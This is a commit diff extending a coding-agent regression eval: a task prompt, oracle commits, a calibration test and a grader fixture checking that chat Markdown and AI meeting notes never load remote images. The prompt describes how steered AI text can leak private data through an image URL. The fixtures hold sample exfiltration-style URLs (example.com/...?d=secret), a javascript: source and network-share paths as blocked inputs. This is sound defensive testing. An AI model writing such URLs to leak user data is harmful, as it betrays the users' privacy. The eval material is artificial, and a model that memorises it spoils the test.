YC (S26) | Open Computer History | Continuously record your company computer work, map your workflows, help you find work worth automating, and power your agents' context
Rust agentsagiaiai-memoryaudio-recordingcomputer-visionhermeshermes-agentllmlocal-ailocal-firstmachine-learningmcpmultimodalopenclawprivacyrewindscreen-recordingspeech-to-textycombinator
eval: extend remote image outcomes to media paths and meeting notes
Manas Raghuwanshi651d7e9f0ca3
diff --git a/evals/coding-agent/README.md b/evals/coding-agent/README.mdindex 7a2b45b02..149e9e955 100644--- a/evals/coding-agent/README.md+++ b/evals/coding-agent/README.md@@ -1276,21 +1276,32 @@ a full browser exploit defense or proof of execution isolation.### Remote Markdown images-`app-markdown-remote-images` renders the actual chat MarkdownBlock (both roles)-and the shared MemoizedReactMarkdown with a synthetic native media port. Forty-six+`app-markdown-remote-images` renders the actual chat MarkdownBlock (both roles),+the shared MemoizedReactMarkdown and the meeting note editor built from+`createMeetingNoteEditorExtensions`, with a synthetic native media port. Sixty-threeoutcomes check that remote, protocol-relative, relative, reference-style, raw`<img>` and `<picture><source srcset>` images, and remote or network-share media,create no element that loads them and never reach the media reader, while their-alt text, link or code stays visible. Local absolute, file-URL, Windows and+alt text, link or code stays visible. Network-share media includes a home-relative+path that resolves to a share and local-looking strings from which the reader+would take a share path; images whose source is removed for safety keep their alt+text. In a meeting note, remote images an AI summary wrote or a later update+brings do not load, keep their alt text and stay in the note's Markdown, while+embedded data: images still show. Local absolute, file-URL, Windows andhome-relative files still render through the native reader. The parent fails-thirty-nine outcomes and preserves seven; the fix and current source pass all.+fifty-six outcomes and preserves seven; the first, markdown-only fix fails+fifteen; the fix and current source pass all.Run `bun test evals/coding-agent/calibrate-markdown-remote-images.test.js`.-Controls include parent/reference/current, an equivalent alt-text element, a-restored remote `<img>` fallback, re-allowed picture/source, an extension-only-media check, network shares treated as local, blanket image removal, unused-correct source and missing-source setup failure. Webview CSP, mermaid, the note-editor, native file policy and execution isolation are outside this evidence.+Controls include parent/reference/current, the first fix, an equivalent alt-text+element, a restored remote `<img>` fallback, re-allowed picture/source, an+extension-only media check, a media check that allows a second leading+separator, network shares treated as local, blanket image removal, a note editor+that renders any source or deletes remote images from the note, unused correct+source and missing-source setup failure. Webview CSP, Mermaid diagrams (jsdom+cannot lay them out; unit tests and browser checks cover the no-network frame),+pasting into notes, native file policy and execution isolation are outside this+evidence.`ai-gateway-trusted-runner-admission` runs the actual HTTP entrypoint, authentication,Free-plan gates, chat handler and provider adapter with synthetic external ports.diff --git a/evals/coding-agent/calibrate-markdown-remote-images.test.js b/evals/coding-agent/calibrate-markdown-remote-images.test.jsindex 874d491e3..a1efe03e4 100644--- a/evals/coding-agent/calibrate-markdown-remote-images.test.js+++ b/evals/coding-agent/calibrate-markdown-remote-images.test.js@@ -8,6 +8,9 @@ import { tmpdir } from 'node:os';const repo = resolve(import.meta.dir, '../..'), app = 'apps/screenpipe-app-tauri';const item = JSON.parse(readFileSync(join(import.meta.dir, 'cases.json'), 'utf8')).cases.find(c => c.id === 'app-markdown-remote-images');const markdown = `${app}/components/markdown.tsx`, block = `${app}/components/chat/markdown-block.tsx`;+const notes = `${app}/components/meeting-notes/note-editor.tsx`;+// The first fix: markdown images only, with a raw-string media gate.+const PREVIOUS_FIX = '7ee2e6ef078200f9781a98c39347d7c8f48c7663';const root = mkdtempSync(join(tmpdir(), 'markdown-remote-images-calibration-')), archives = new Map();const receipts = process.env.SCREENPIPE_EVAL_CALIBRATION_RECEIPTS;afterAll(() => rmSync(root, {recursive: true, force: true}));@@ -36,17 +39,22 @@ function grade(name, ref = item.oracle_ref, mutate = () => {}) {}// Behavior failures surface as chai AssertionErrors or jest-dom matcher errors.const BEHAVIOR_FAILURE = /AssertionError|Error: expect\(/;-function passes(r) { expect(r.status).toBe(0); expect(r.stdout).toContain('46 passed'); expect(r.stdout+r.stderr).not.toMatch(/Unhandled|Uncaught/); }+function passes(r) { expect(r.status).toBe(0); expect(r.stdout).toContain('63 passed'); expect(r.stdout+r.stderr).not.toMatch(/Unhandled|Uncaught/); }function fails(r) { expect(r.status).toBe(1); expect(r.stderr).toMatch(BEHAVIOR_FAILURE); expect(r.stdout+r.stderr).not.toMatch(/Unhandled|Uncaught|Failed to resolve import|Failed to load url|Cannot find module/); }-test('parent fails thirty-nine remote outcomes and preserves seven local files', () => { const r = grade('parent', item.base_ref); fails(r); expect(r.stdout).toContain('39 failed | 7 passed'); }, 120000);+test('parent fails fifty-six remote outcomes and preserves seven local files', () => { const r = grade('parent', item.base_ref); fails(r); expect(r.stdout).toContain('56 failed | 7 passed'); }, 120000);+test('previous markdown-only fix fails media-path, alt-text and note outcomes', () => { const r = grade('previous-fix', PREVIOUS_FIX); fails(r); expect(r.stdout).toContain('15 failed | 48 passed'); }, 120000);test('historical reference passes every outcome', () => passes(grade('reference')), 120000);test('current caller passes every outcome', () => passes(grade('current', 'HEAD')), 120000);-test('equivalent alt-text element passes', () => passes(grade('equivalent', item.oracle_ref, cwd => replace(cwd, markdown, 'return alt ? <span>{alt}</span> : null;', 'return alt ? <em>{alt}</em> : null;'))), 120000);-test('plain remote img fallback fails', () => fails(grade('img-fallback', item.oracle_ref, cwd => replace(cwd, markdown, 'return alt ? <span>{alt}</span> : null;', 'return <img src={src} alt={alt || ""} />;'))), 120000);+test('equivalent alt-text element passes', () => passes(grade('equivalent', item.oracle_ref, cwd => replace(cwd, markdown, 'return <ImageAltText alt={alt} />;', 'return alt ? <em>{alt}</em> : null;'))), 120000);+test('plain remote img fallback fails', () => fails(grade('img-fallback', item.oracle_ref, cwd => replace(cwd, markdown, 'return <ImageAltText alt={alt} />;', 'return <img src={src} alt={alt || ""} />;'))), 120000);test('re-allowed picture and source fail', () => fails(grade('picture', item.oracle_ref, cwd => replace(cwd, block, '...(defaultSchema.tagNames ?? []).filter((tag) => tag !== "picture" && tag !== "source"),', '...(defaultSchema.tagNames ?? []),'))), 120000);-test('extension-only media gate fails', () => fails(grade('media-gate', item.oracle_ref, cwd => replace(cwd, markdown, 'return /^~[\\\\/]/.test(unwrapMarkdownUrl(url)) || resolveLocalPathFromMarkdownUrl(url) !== null;', 'return true;'))), 120000);+const MEDIA_GATE = 'return isMediaFilePath(path) && /^(?:\\/|~[\\\\/]|[A-Za-z]:[\\\\/])(?![\\\\/])/.test(path);';+test('extension-only media gate fails', () => fails(grade('media-gate', item.oracle_ref, cwd => replace(cwd, markdown, MEDIA_GATE, 'return isMediaFilePath(path);'))), 120000);+test('media gate that allows a second leading separator fails', () => fails(grade('share-prefix', item.oracle_ref, cwd => replace(cwd, markdown, MEDIA_GATE, MEDIA_GATE.replace('(?![\\\\/])', '')))), 120000);test('network-share paths treated as local fail', () => fails(grade('network-share', item.oracle_ref, cwd => replace(cwd, markdown, 'if (/^\\/(?![\\\\/])/.test(candidate)) {', 'if (candidate.startsWith("/")) {'))), 120000);-test('blanket image removal fails preserved local files', () => fails(grade('no-images', item.oracle_ref, cwd => replace(cwd, markdown, ' img({ src, alt }) {\n if (!src) return null;', ' img({ src, alt }) {\n if (src || !src) return null;'))), 120000);+test('blanket image removal fails preserved local files', () => fails(grade('no-images', item.oracle_ref, cwd => replace(cwd, markdown, ' img({ src, alt }) {\n if (src && isLocalMediaPath(src)) {', ' img({ src, alt }) {\n if (src || !src) return null;\n if (src && isLocalMediaPath(src)) {'))), 120000);+test('note editor that renders any image source fails', () => fails(grade('note-any-image', item.oracle_ref, cwd => replace(cwd, notes, 'return typeof src === "string" && src.startsWith("data:image/");', 'return typeof src === "string";'))), 120000);+test('note editor that deletes remote images from the note fails', () => fails(grade('note-drops-images', item.oracle_ref, cwd => replace(cwd, notes, ' renderHTML(props) {', ' parseHTML() {\n return [{ tag: \'img[src^="data:"]\' }];\n },\n\n renderHTML(props) {'))), 120000);test('unused correct renderer cannot hide broken active caller', () => fails(grade('unused', item.oracle_ref, cwd => {writeFileSync(join(cwd, `${app}/unused-correct-markdown.tsx`), readFileSync(join(cwd, markdown)));writeFileSync(join(cwd, markdown), execFileSync('git', ['show', `${item.base_ref}:${markdown}`], {cwd: repo}));diff --git a/evals/coding-agent/cases.json b/evals/coding-agent/cases.jsonindex 360ab6729..1911023a4 100644--- a/evals/coding-agent/cases.json+++ b/evals/coding-agent/cases.json@@ -1,7 +1,7 @@{"schema_version": 1,"suite": "screenpipe-app-coding-agent-regressions",- "dataset_version": "2026-10-01-markdown-remote-images",+ "dataset_version": "2026-10-01-remote-images-media-notes","suite_type": "regression","owner": "screenpipe engineering","policy": {@@ -4075,22 +4075,29 @@},{"id": "app-markdown-remote-images",- "name": "Render only local images and media from untrusted Markdown",+ "name": "Render only local images and media from untrusted Markdown and meeting notes","source": {"kind": "git_regression",- "fix_commit": "7ee2e6ef078200f9781a98c39347d7c8f48c7663"+ "fix_commit": "359ac0c2512578a972ba07c09e895725d5021b6c"},"base_ref": "7274f29b6b1bb940332b4e912b9cfcb20d591d3d",- "oracle_ref": "7ee2e6ef078200f9781a98c39347d7c8f48c7663",+ "oracle_ref": "359ac0c2512578a972ba07c09e895725d5021b6c","oracle_paths": ["apps/screenpipe-app-tauri/components/markdown.tsx",+ "apps/screenpipe-app-tauri/components/markdown/image-alt-text.tsx","apps/screenpipe-app-tauri/components/chat/markdown-block.tsx","apps/screenpipe-app-tauri/app/notification-panel/page.tsx",- "apps/screenpipe-app-tauri/components/notification-bell.tsx"+ "apps/screenpipe-app-tauri/components/notification-bell.tsx",+ "apps/screenpipe-app-tauri/components/announcement-body.tsx",+ "apps/screenpipe-app-tauri/components/meeting-notes/note-editor.tsx",+ "apps/screenpipe-app-tauri/components/meeting-notes/image-utils.ts",+ "apps/screenpipe-app-tauri/components/rewind/mermaid-diagram.tsx",+ "apps/screenpipe-app-tauri/components/rewind/mermaid-sandbox.ts"],"trigger_paths": ["apps/screenpipe-app-tauri/components/markdown.tsx",- "apps/screenpipe-app-tauri/components/chat/markdown-block.tsx"+ "apps/screenpipe-app-tauri/components/chat/markdown-block.tsx",+ "apps/screenpipe-app-tauri/components/meeting-notes/note-editor.tsx"],"gate": "advisory","tags": [@@ -4098,10 +4105,11 @@"escaped-failure","chat","markdown",+ "meeting-notes","privacy","preserved-behavior"],- "prompt": "Rendered Markdown makes the application load remote resources the moment a message renders. Chat replies and summaries are built from captured outside content, so a steered reply can put private data in an image URL that leaks without any click. Repair the chat MarkdownBlock for both user and assistant messages and the shared MemoizedReactMarkdown renderer. Only local files may display as images or media: absolute paths, file URLs and Windows drive paths for images, plus home-relative paths for media, must still be read through the supplied native media port and displayed. No other image source (http, https, protocol-relative, relative, reference-style, raw HTML img, or picture/source srcset) may produce an element that loads it; keep its alt text visible instead. Media images, links and inline code that name a remote URL or a network-share path must never reach the native media reader; keep their alt text, link or code visible. Keep the surrounding message text. Keep the public component and native port contracts compatible. No particular sanitizer, helper or internal implementation is required. This task checks actual React/Markdown rendering with synthetic native ports; it does not establish webview CSP, mermaid or rich-text editor behavior, native file access policy or network isolation.",+ "prompt": "Rendered Markdown and meeting notes make the application load remote resources the moment they render. Chat replies, summaries and AI meeting notes are built from captured outside content, so steered text can put private data in an image URL that leaks without any click. Repair the chat MarkdownBlock for both user and assistant messages, the shared MemoizedReactMarkdown renderer, and the meeting note editor built from createMeetingNoteEditorExtensions. Only local files may display as images or media in Markdown: absolute paths, file URLs and Windows drive paths for images, plus home-relative paths for media, must still be read through the supplied native media port and displayed. No other image source (http, https, protocol-relative, relative, reference-style, raw HTML img, or picture/source srcset) may produce an element that loads it; keep its alt text visible instead, including when the source is removed for safety. Media images, links and code that name a remote URL or a network-share path must never reach the native media reader, including a home-relative path that resolves to a share or a local-looking string from which the reader would take a share path; keep their alt text, link or code visible. In a meeting note, a remote image written by the AI or arriving with a later update must not load: keep its alt text visible, keep images embedded as data: URLs displaying, and keep the note's Markdown, including the remote image reference, so viewing or saving loses nothing. Keep the surrounding text. Keep the public component, editor extension and native port contracts compatible. No particular sanitizer, helper or internal implementation is required. This task checks actual React/Markdown and editor rendering with synthetic native ports; it does not establish webview CSP, Mermaid diagrams, pasting into notes, native file access policy or network isolation.","agent_timeout_seconds": 900,"grader_dependency_links": [{diff --git a/evals/coding-agent/graders/markdown-remote-image-outcomes.fixture.tsx.txt b/evals/coding-agent/graders/markdown-remote-image-outcomes.fixture.tsx.txtindex 2d5205092..dbe1a60c7 100644--- a/evals/coding-agent/graders/markdown-remote-image-outcomes.fixture.tsx.txt+++ b/evals/coding-agent/graders/markdown-remote-image-outcomes.fixture.tsx.txt@@ -3,8 +3,10 @@import { act, render, screen, waitFor } from "@testing-library/react";import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";+import { Editor } from "@tiptap/core";import { MarkdownBlock } from "./markdown-block";import { MemoizedReactMarkdown } from "@/components/markdown";+import { createMeetingNoteEditorExtensions } from "@/components/meeting-notes/note-editor";const GIF = "R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";@@ -78,6 +80,14 @@ const BLOCKED_MARKDOWN: [string, string, string][] = [["remote media code", "`https://example.com/a.mp4`", "https://example.com/a.mp4"],["network-share media image", "", "clip"],["network-share media code", "`\\\\host\\share\\a.mp4`", "\\\\host\\share\\a.mp4"],+ // Home-relative, but the reader would join home with an absolute share path.+ ["home-relative network-share media code", "`~/\\\\host\\share\\a.mp4`", "~/\\\\host\\share\\a.mp4"],+ // Local-looking prefixes the reader would not read: it takes the share after them.+ ["network share after a quote in a media link", '[clip](</tmp/x"//host/share/a.mp4>)', "clip"],+ ["network share on a second line of a media code block", "```\n/tmp/x\n//host/share/a.mp4\n```", "//host/share/a.mp4"],+ // Sources removed for safety still leave their alt text.+ ["data: image", "", "remote chart"],+ ["javascript: image", ")", "remote chart"],];describe("remote markdown sources", () => {@@ -142,3 +152,54 @@ describe("local markdown files", () => {await waitFor(() => expect(readMediaMock).toHaveBeenCalledWith(path));});});++// The meeting note editor shows notes that an AI meeting summary writes.+describe("meeting note editor", () => {+ const EMBEDDED = `data:image/gif;base64,${GIF}`;+ let editor: Editor | null = null;+ afterEach(() => { editor?.destroy(); editor = null; document.body.innerHTML = ""; });++ function mountNote(markdown: string) {+ const element = document.createElement("div");+ document.body.appendChild(element);+ editor = new Editor({ element, extensions: createMeetingNoteEditorExtensions(""), content: markdown });+ return element;+ }+ const remoteImages = (element: HTMLElement) =>+ fetchingElements(element).filter((html) => !html.includes(EMBEDDED));+ const markdownOf = () => (editor!.storage as unknown as { markdown: { getMarkdown(): string } }).markdown.getMarkdown();++ it("does not load images an AI summary wrote, keeps their alt text and keeps them in the note", async () => {+ const element = mountNote([+ "before",+ "",+ "",+ "",+ '<img src="https://example.com/raw.png?d=secret" alt="raw chart" width="40" height="40" />',+ "",+ ``,+ "",+ "after",+ ].join("\n"));+ await settle();+ expect(element).toHaveTextContent("before");+ expect(element).toHaveTextContent("sales chart");+ expect(element).toHaveTextContent("raw chart");+ expect(element).toHaveTextContent("after");+ expect(remoteImages(element)).toEqual([]);+ // An image the note carries itself still shows.+ expect(element.querySelector(`img[src="${EMBEDDED}"]`)).not.toBeNull();+ // Viewing or saving the note loses nothing.+ expect(markdownOf()).toContain("https://example.com/chart.png?d=secret");+ expect(markdownOf()).toContain("https://example.com/raw.png?d=secret");+ });++ it("does not load a remote image that arrives with a later update", async () => {+ const element = mountNote("notes");+ editor!.commands.setContent("before\n\n\n\nafter");+ await settle();+ expect(element).toHaveTextContent("sales chart");+ expect(element).toHaveTextContent("after");+ expect(remoteImages(element)).toEqual([]);+ });+});